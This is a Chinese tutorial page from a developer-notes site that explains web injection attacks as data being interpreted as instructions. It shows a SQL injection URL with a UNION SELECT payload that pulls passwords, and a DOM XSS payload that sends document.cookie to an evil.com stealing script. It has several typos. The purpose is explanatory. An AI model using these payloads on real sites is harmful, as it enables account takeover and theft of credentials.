热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

web前端黑客技术之数据与指令【sql注入、xss跨站脚本攻击】

首先,我们知道,用浏览器打开一个网站,呈现在我们面前的都是数据,服务器端存储的(数据库,内存,文件系统等)、客户端存储的(本地Cookies,flashCookies等),传输中的(json数据,和xml数据等,)还有文本数据等等。而在这些数据的交换过程中,如果出现数据流被污染了,就会出现非预期的出存储和传输,导致安

首先,我们知道,用浏览器打开一个网站,呈现在我们面前的都是数据,服务器端存储的(数据库,内存,文件系统等)、客户端存储的(本地COOKIEs,flash COOKIEs等),传输中的(json数据,和xml数据等,)还有文本数据等等。

而在这些数据的交换过程中,如果出现数据流被污染了,就会出现非预期的出存储和传输,导致安全风险。


而存储,传输并呈现这些数据的时候,需要执行指令,指令简单的说就是要执行的命令行。而不同的指令的解释执行则由对应的环境完成,如:

select username,email,descl from users where id=1

这条mySql指令在数据库引擎环境中被解释,然后产生查询对于的数据。


当正常的数据内容被注入指令内容,在解释的过程中,如果注入指令能够被独立执行,那么攻击就发生了 

【1】SQL注入攻击的发生

select username,email,desc1 from users where id=1;
正如我们所看到的,这条sql语句中id的值是来自用户提交,并且用户通过访问链接来获取自身的帐号信息。当用户访问这样的连接时,后端便触发执行上面的查询语句,并返回对应的id号的用户数据给前端显示。一般情况下,铍铜的用户对id提交整形数值,而邪恶的攻击者会提交如下列形式的值

1 union select password,1,1 from users
组成的链接形式:

http://www.foo.com/user.php?id=1 union select password,1,1 from users

组成的SQL语句为:

select username,email,desc1 from users whrere id=1 union select password,1,1 from users

XSS跨站脚本攻击的发生


这里eval内置函数可以动态执行js语句,而location.hash()获取的是链接及URL中#及其后面的内容,如 ````.foo.com/info.html#callback。获取的十九#callback,而substr是用于截取字符,也就是#好后面内容。

而在这里,我们可以构建一个这样的攻击:

http://www.foo.com/info.html#new%20Image().src="http://www.evil.com/stea.1.php?c="+escape(document.COOKIE)

而在浏览器解析
eval(location.hash.substr(1));
则会变为

eval('new Image().src="http://www.evil.com/steal.php?c="+escape(document.COOKIE)')

而当被攻击者被诱骗访问了该连接时,COOKIEs会话信息就会被盗取到黑客的网站上,一般情况下,黑客利用该COOKIEs可以登录被攻击者的帐号,并进行越权操作。



【补充】

跨站攻击是发生在浏览器客户端,而SQL注入由于针对的对象是数据库,一般情况下,数据库都在服务端,而HTML5提供了一个i额客户端存储几只,在浏览器段,使用SQLite数据库保存客户端数据,该几只允许使用js脚本操作SQL语句,从而本地化数据库进行交互 




推荐阅读
  • linux json 写sql注入,sql注入之json注入(php代码)
    环境phpstudyphp服务端代码security数据库中的users表中的username,password字段用户名adminJSON服务端代码大家实际测试中注 ... [详细]
  • 背景应用安全领域,各类攻击长久以来都危害着互联网上的应用,在web应用安全风险中,各类注入、跨站等攻击仍然占据着较前的位置。WAF(Web应用防火墙)正是为防御和阻断这类攻击而存在 ... [详细]
  • 浅解XXE与Portswigger Web Sec
    XXE与PortswiggerWebSec​相关链接:​博客园​安全脉搏​FreeBuf​XML的全称为XML外部实体注入,在学习的过程中发现有回显的XXE并不多,而 ... [详细]
  • 导读:很多朋友问到关于入门学什么php框架简单的相关问题,本文编程笔记就来为大家做个详细解答,供大家参考,希望对大家有所帮助!一起来看看吧!本文目录一览: ... [详细]
  • 缓冲区溢出实例(一)–Windows
    一、基本概念缓冲区溢出:当缓冲区边界限制不严格时,由于变量传入畸形数据或程序运行错误,导致缓冲区被填满从而覆盖了相邻内存区域的数据。可以修改内存数据,造成进程劫持,执行恶意代码,获 ... [详细]
  • php开发属于哪个类别(php类和对象的区别)
    导读:本篇文章编程笔记来给大家介绍有关php开发属于哪个类别的相关内容,希望对大家有所帮助,一起来看看吧。本文目录一览:1、php属于什 ... [详细]
  • Splunk Enterprise 存在任意代码执行漏洞
    splunk,enterprise,存在,任 ... [详细]
  • 实战分析SpringBoot整合JSON,面试题附答案
    前言作为同时具备高性能、高可靠和高可扩 ... [详细]
  • 本文介绍了绕过WAF的XSS检测机制的方法,包括确定payload结构、测试和混淆。同时提出了一种构建XSS payload的方法,该payload与安全机制使用的正则表达式不匹配。通过清理用户输入、转义输出、使用文档对象模型(DOM)接收器和源、实施适当的跨域资源共享(CORS)策略和其他安全策略,可以有效阻止XSS漏洞。但是,WAF或自定义过滤器仍然被广泛使用来增加安全性。本文的方法可以绕过这种安全机制,构建与正则表达式不匹配的XSS payload。 ... [详细]
  • 本文介绍了互联网思维中的三个段子,涵盖了餐饮行业、淘品牌和创业企业的案例。通过这些案例,探讨了互联网思维的九大分类和十九条法则。其中包括雕爷牛腩餐厅的成功经验,三只松鼠淘品牌的包装策略以及一家创业企业的销售额增长情况。这些案例展示了互联网思维在不同领域的应用和成功之道。 ... [详细]
  • 跨站的艺术XSS Fuzzing 的技巧
    作者|张祖优(Fooying)腾讯云云鼎实验室对于XSS的漏洞挖掘过程,其实就是一个使用Payload不断测试和调整再测试的过程,这个过程我们把它叫做F ... [详细]
  • 2月4日每日安全热点节日期间某企远程办公遭XRed攻击 ... [详细]
  • JVM(三)虚拟机栈 多合一总述
    虚拟机栈概述虚拟机栈出现背景:由于跨平台性的设计,Java的指令都是根据栈来设计的。不同CPU架构不同,所以不能设计为基于寄存器的跨平台的优点:指令集小,编译器容易实现,缺点是性能 ... [详细]
  • JDK1.7及之前的JMM先看一张图,很清晰的说明了JAVA内存结构布局:JAVA内存结构主要分为三大块:堆内存、方法区和栈。堆内存是JVM中最大的一块内存,由年轻代和老年代组成。 ... [详细]
  • jvm内存区域与溢出为什么学习jvm木板原理,最短的一块板决定一个水的深度,当一个系统垃圾收集成为瓶颈的时候,那么就需要你对jvm的了解掌握。当一个系统出现内存溢出,内存泄露的时候 ... [详细]
author-avatar
gigi-dd
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有